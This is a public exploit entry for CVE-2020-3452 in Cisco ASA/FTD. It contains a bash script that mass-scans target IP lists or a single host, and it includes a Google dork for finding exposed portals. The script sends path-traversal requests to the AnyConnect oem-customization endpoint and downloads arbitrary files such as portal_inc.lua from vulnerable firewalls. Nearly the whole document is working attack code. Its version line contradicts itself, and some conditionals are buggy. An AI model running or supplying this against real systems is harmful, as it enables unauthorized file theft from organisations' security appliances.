Cisco Adaptive Security Appliance Software 9.11 Local File Inclusion

`# Exploit Title: Cisco Adaptive Security Appliance Software 9.11 - Local File Inclusion  
# Google Dork: inurl:/+CSCOE+/  
# Date: 2020-08-27  
# Exploit Author: 0xmmnbassel  
# Vendor Homepage: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86  
# Version: Cisco ASA Software >=9.14 except 9.11 Cisco FTD Software >=6.2.2 and 6.2.3,6.3.0,6.4.0,6.50,6.60  
# Vulnerability Type: unauthenticated file read  
# CVE: CVE-2020-3452  
  
  
#!/bin/bash  
  
  
read="%2bCSCOE%2b/portal_inc.lua"  
  
  
helpFunction()  
{  
echo ""  
echo -e "\t\tCVE-2020-3452"  
echo ""  
echo "Usage: $0 -l targets.txt -r %2bCSCOE%2b/portal_inc.lua "  
echo -e "\t-l for list of IPs in text file"  
echo -e "\t-r file to read, default: %2bCSCOE%2b/portal_inc.lua"  
echo -e "\t-i for single IP test"  
exit 1  
}  
  
while getopts "l:r:i:" opt  
do  
case "$opt" in  
l ) input="$OPTARG" ;;  
r ) read="$OPTARG" ;;  
i ) website="$OPTARG" ;;  
? ) helpFunction ;;  
esac  
done  
  
  
  
#if $website is empty or $input is empty  
if [ -z "$website" ] && [ -z "$input" ]  
then  
echo "Some/all of the parameters are empty";  
helpFunction  
fi  
  
#usage  
  
  
if [ -z "$website"];  
then  
while IFS= read -r line  
do  
name=$(echo $line | cut -c9-19)  
#echo "testing $line"  
filename="$name.txt"  
#echo $response  
status=$(curl -LI $line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s)  
  
if [ $status -eq "400" ]; then  
echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"  
else  
wget "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt  
  
if [ -s $filename ]; then  
echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."  
echo "downloaded!, $line is vulnerable to CVE-2020-3452."  
  
else  
echo "not vulnerable!"  
rm -rf $filename  
fi  
fi  
done < "$input"  
else  
  
name=$(echo $website | cut -c9-16)  
filename="$name.txt"  
  
status=$(curl -LI $website"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s)  
if [ $status -eq "Bad Request" ]; then  
echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"  
else  
  
echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."  
wget "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt  
if [ -s $filename ]; then  
echo "downloaded!, $website is vulnerable to CVE-2020-3452."  
else  
echo "not vulnerable!"  
rm -rf $filename  
fi  
fi  
  
fi  
`